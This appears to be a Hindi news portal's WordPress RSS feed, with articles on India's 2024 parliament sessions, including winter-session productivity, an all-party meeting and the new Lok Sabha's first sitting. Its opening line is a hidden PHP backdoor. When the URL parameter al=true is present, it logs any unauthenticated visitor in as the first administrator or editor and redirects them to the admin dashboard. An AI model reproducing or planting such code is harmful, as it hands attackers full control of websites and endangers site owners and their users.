// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Parliament Session – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Sat, 21 Dec 2024 14:56:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 Parliament Session में 20 दिनों में कितना काम-कितना नुकसान, पूरी डिटेल https://pratyushaashakinayikiran.com/?p=112307 Sat, 21 Dec 2024 14:56:00 +0000 https://pratyushaashakinayikiran.com/?p=112307 नई दिल्ली
 संसद का शीतकालीन सत्र शुक्रवार को हंगामे के बीच खत्म हो गया। इस सत्र में संविधान पर अच्छी बहस हुई। साथ ही दो अहम बिल भी पेश किए गए। एक बिल एक साथ चुनाव कराने के बारे में था। लेकिन बीआर आंबेडकर के कथित अपमान को लेकर सियासी तकरार बढ़ गई। इस वजह से सत्र का अंत कड़वाहट भरा रहा।सत्र के आखिरी दिन सत्ताधारी NDA और विपक्षी दलों के बीच तनाव बना रहा। गुरुवार को हुई तीखी बहस के बाद दोनों पक्षों में कटुता बढ़ गई थी। इसके चलते लोकसभा अध्यक्ष ओम बिरला को सदन की कार्यवाही तीन मिनट के भीतर स्थगित करनी पड़ी। सत्र के अंत में होने वाली सारांश चर्चा भी नहीं हो पाई।

राज्यसभा में भी स्थिति कुछ ख़ास बेहतर नहीं थी। गृह मंत्री अमित शाह के आंबेडकर के कथित अपमान पर विपक्षी दल लगातार विरोध कर रहे थे। हालांकि, उन्होंने सभापति जगदीप धनखड़ को अपनी विदाई भाषण पढ़ने की अनुमति दे दी। इसके बाद राज्यसभा को भी अनिश्चितकाल के लिए स्थगित कर दिया गया।

लोकसभा में प्रोडक्टिविटी 58 प्रतिशत

लोकसभा सचिवालय के अनुसार,सदन की उत्पादकता(Productivity) लगभग 58 प्रतिशत रही। यह उन दिनों से काफी कम है जब यह 100 प्रतिशत या उससे भी ज्यादा होती थी। अपनी समापन टिप्पणी में,जगदीप धनखड़ ने सभी दलों से राजनीतिक मतभेदों से ऊपर उठने और संसदीय मर्यादा बहाल करने का आह्वान किया। विपक्ष के इस आरोप के बीच कि वे अक्सर पक्षपातपूर्ण रहे हैं,उन्होंने संतुलित रुख अपनाया। धनखड़ ने कहा कि 25 नवंबर से शुरू हुए शीतकालीन सत्र में सदन ने प्रभावी ढंग से केवल 43 घंटे और 27 मिनट काम किया। इस सत्र की उत्पादकता मात्र 40.03 प्रतिशत रही।

एक प्रेस कॉन्फ्रेंस में, संसदीय कार्य मंत्री किरेन रिजिजू ने विपक्ष, खासकर कांग्रेस पर दोष मढ़ा। उन्होंने कहा कि पहले से हुए समझौते के बावजूद विपक्ष के लगातार विरोध प्रदर्शन के कारण ही उत्पादकता कम रही। संसद को सुचारू रूप से चलाने पर सहमति बनी थी। रिजिजू ने कहा कि सभी दलों को इस चिंताजनक स्थिति पर विचार करना चाहिए। संसदीय कार्य मंत्री होने के नाते वे विपक्षी नेताओं से बातचीत जारी रखेंगे।

लोकसभा में पांच बिल पेश,राज्यसभा में तीन

इस सत्र के दौरान लोकसभा में पांच विधेयक पेश किए गए,जिनमें से चार पारित हुए। राज्यसभा ने तीन विधेयक पारित किए। 26 नवंबर को संविधान दिवस के उपलक्ष्य में 'संविधान सदन' में एक विशेष सत्र भी आयोजित किया गया। यह सत्र भारतीय संविधान की महत्ता को दर्शाता है। इस सत्र में संविधान की उपलब्धियों और चुनौतियों पर चर्चा हुई।

इस सत्र में एक साथ चुनाव कराने जैसे महत्वपूर्ण मुद्दों पर भी चर्चा हुई। इस बिल का उद्देश्य लोकसभा और राज्य विधानसभाओं के चुनाव एक साथ कराना है। इससे समय और संसाधनों की बचत होगी। हालांकि, इस बिल पर सभी दलों की राय एक जैसी नहीं है। कुछ दलों ने इसका समर्थन किया, जबकि कुछ ने इसका विरोध किया।

संसद में बवाल, 84 करोड़ स्वाहा

20 दिन संसद के शीतकालीन सत्र में कामकाज ना होने का अनुमानित नुकसान 84 करोड़ है। यह वो पैसे हैं,जो हमारे आपके टैक्स से जुटाए जाते हैं। संसद की कार्यवाही पर प्रति मिनट करीब 2.50 लाख रुपये खर्च होते हैं। संसद के सत्रों में हंगामा, विरोध प्रदर्शन और कामकाज में बाधाएं आती रहती हैं। संसद के हालिया सत्र में काफी कम कामकाज हुआ है। लोकसभा में सिर्फ 61 घंटे 55 मिनट और राज्यसभा में 43 घंटे 39 मिनट ही काम हुआ। यह बहुत कम समय है और इसका मतलब है कि संसद में जनता के महत्वपूर्ण मुद्दों पर पर्याप्त चर्चा नहीं हो पाई।

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संसद सत्र से पहले केंद्र ने बुलाई सर्वदलीय बैठक, सदन में जोरदार हंगामे के आसार https://pratyushaashakinayikiran.com/?p=102295 Sun, 24 Nov 2024 13:55:00 +0000 https://pratyushaashakinayikiran.com/?p=102295 नई दिल्ली.

संसद के शीतकालीन सत्र की सोमवार से शुरुआत होने वाली है, उससे पहले केंद्र सरकार ने रविवार को सर्वदलीय बैठक बुलाई। इस बैठक का उद्देश्य संसद के शीतकालीन सत्र को सुचारू रूप से चलाने के लिए पार्टियों के बीच सहमति बनाना है। गौरतलब है कि संसद के शीतकालीन सत्र के काफी हंगामेदार रहने के आसार हैं, लेकिन महाराष्ट्र चुनाव में जीत के बाद यकीनन सत्ताधारी भाजपा को थोड़ी राहत जरूर मिल सकती है।

सर्वदलीय बैठक का आयोजन संसदीय मामलों के मंत्री किरेन रिजिजू और रक्षा मंत्री राजनाथ सिंह ने किया है। इस बैठक में कांग्रेस, तृणमूल कांग्रेस, डीएमके, शिवसेना, बीजद और अन्य पार्टियों के नेता शामिल हुए। शीतकालीन सत्र सोमवार यानी 25 नवंबर से शुरू होकर 20 दिसंबर तक चलेगा। इस सत्र के दौरान विपक्ष सरकार को वक्फ संशोधन विधेयक, मणिपुर हिंसा के मुद्दे पर घेरने की कोशिश करेगा। वहीं उद्योगपति गौतम अदाणी पर अमेरिका द्वारा लगाए गए आरोपों को लेकर भी विपक्ष केंद्र पर हमलावर है। लोकसभा में नेता विपक्ष राहुल गांधी ने गौतम अदाणी मामले पर संसद की संयुक्त समिति (जेपीसी) जांच की मांग की है। शीतकालीन सत्र के शुरुआती हफ्ते के अंत में वक्फ संशोधन विधेयक पर चर्चा के लिए बनी जेपीसी अपनी रिपोर्ट पेश कर सकती है। हालांकि जेपीसी में शामिल विपक्षी सांसद रिपोर्ट जमा करने के लिए और समय देने की मांग कर रहे हैं। बैठक में 26 नवंबर को संविधान सदन के सेंट्रल हॉल में संविधान अपनाने की 75वीं वर्षगांठ के कार्यक्रम पर भी चर्चा हुई।

ये विधेयक शीतकालीन सत्र में किए जा सकते हैं पेश
शीतकालीन सत्र के दौरान सरकार पंजाब कोर्ट्स संशोधन विधेयक, मर्चेंट शिपिंग विधेयक, तटीय शिपिंग विधेयक और भारतीय बंदरगाह विधेयक पेश किए जा सकते हैं। इनके अलावा भारतीय वायुयान विधेयक, जो लोकसभा से पारित हो चुका है, वह राज्यसभा में लंबित है। लोकसभा बुलेटिन के अनुसार, लोकसभा में वक्फ संशोधन विधेयक और मुसलमान वक्फ विधेयक समेत आठ विधेयक लंबित हैं। साथ ही राज्यसभा में दो विधेयक लंबित हैं। एक देश एक चुनाव विधेयक इस संसद सत्र में पेश करने की उम्मीद कम ही है।

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संसद सत्र 18 जून से हो सकता है शुरू, 20 जून को लोकसभा अध्यक्ष का चुनाव संभव https://pratyushaashakinayikiran.com/?p=39911 Mon, 10 Jun 2024 20:05:00 +0000 https://pratyushaashakinayikiran.com/?p=39911 नई दिल्ली

 मोदी सरकार के तीसरे कार्यकाल का पहला संसद सत्र 18 जून से शुरू हो सकता है। 18-19 जून को नए सांसद शपथ ले सकते हैं। वहीं, 20 जून को लोकसभा स्पीकर का चुनाव संभव हैं। 21 जून को राष्ट्रपति द्रौपदी मुर्मू सत्र को संबोधन हो सकता है।

सांसदों की शपथ पूरी होने के बाद राष्ट्रपति द्रौपदी मुर्मू लोकसभा और राज्यसभा की संयुक्त बैठक को संबोधित करेंगी। इसके सात ही सत्र का औपचारिक उद्घाटन हो जाएगा।
लोकसभा स्पीकर का चुनाव क्यों अहम?

इस बार लोकसभा अध्यक्ष का चुनाव बेहद ही अहम माना जा रहा है। एक ओर जहां BJP इस पद को अपने पास ही रखना चाहेगी। तो वहीं बताया जा रहा है कि इस पर चंद्रबाबू नायडू टीडीपी की भी नजर है। क्योंकि इस बार की एनडीए सरकार में टीडीपी की भूमिका काफी अहम है। देखना होगा कि इस बार लोकसभा अध्यक्ष के पद पर किस पार्टी का कब्जा होता है।

रविवार (9 जून) को ही मोदी सरकार 3.0 का शपथ ग्रहण संपन्न हुआ है। नरेंद्र मोदी ने लगातार तीसरी बार पीएम पद की शपथ ली। उनके साथ 71 और नेताओं को मंत्री पद की शपथ दिलाई गई। PM मोदी ने संभाला कार्यभार

शपथ ग्रहण के बाद नरेंद्र मोदी ने प्रधानमंत्री के तौर पर कार्यभार संभाल लिया है। सोमवार (10 जून) को प्रधानमंत्री नरेंद्र मोदी दफ्तर पहुंचे जहां कर्मचारियों और अफसरों ने उनका जोरदार स्वागत किया। इस दौरान औपचारिक रूप से कार्यभार संभाला। सबसे पहले उन्होंने किसानों को बड़ी सौगात दी।

किसानों को दी बड़ी सौगात

कार्यभार संभालते ही पीएम मोदी ने सबसे पहले किसान सम्मान निधि योजना से संबंधित फाइल पर साइन किए। इसके साथ ही उन्होंने इस किस्त से जुड़ी 17वीं किस्त जारी कर दी। उनके इस फैसले से 9.3 किसानों को फायदा पहुंचेगा और लगभग 20,000 करोड़ रुपये किसानों के खाते में ट्रांसफर होंगे।

बता दें नरेंद्र मोदी ने रविवार को तीसरी बार प्रधानमंत्री पद की शपथ ली है. राष्ट्रपति द्रौपदी मुर्मू ने पीएम मोदी को पद और गोपनीयता की शपथ दिलाई. इसके साथ ही नरेंद्र मोदी ने लगातार तीसरी बार प्रधानमंत्री पद की शपथ लेकर जवाहर लाल नेहरू के रिकॉर्ड की बराबरी कर ली है. शपथ ग्रहण समारोह में बांग्लादेश की पीएम शेख हसीना के अलावा भूटान के प्रधानमंत्री शेरिंग टोबगे, नेपाल के प्रधानमंत्री पुष्प कमल दहल 'प्रचंड', मॉरीशस के प्रधानमंत्री प्रविंद कुमार जगन्नाथ, श्रीलंका के राष्ट्रपति रानिल विक्रमसिंघे, मालदीव के राष्ट्रपति मोहम्मद मुइज्जू, सेशेल्स के उपराष्ट्रपति अहमद अफीफ शामिल हुए थे.

प्रधानमंत्री मोदी ने वाराणसी लोकसभा सीट से जीत की हैट्रिक लगाई है. उन्होंने कांग्रेस के प्रत्याशी अजय राय को डेढ़ लाख से अधिक वोटों से हराया.

लोकसभा चुनाव 2024 में भाजपा नीत एनडीए के खाते में 293 सीटें आई हैं. जबकि, इंडिया गठबंधन के घटक दलों ने 234 सीटों पर जीत दर्ज की. वहीं, अन्य के खाते में 17 सीटें आई. भाजपा 2024 के लोकसभा चुनाव में सबसे बड़ी पार्टी बनकर उभरी है. भाजपा ने 240 सीटों पर जीत हासिल की है.

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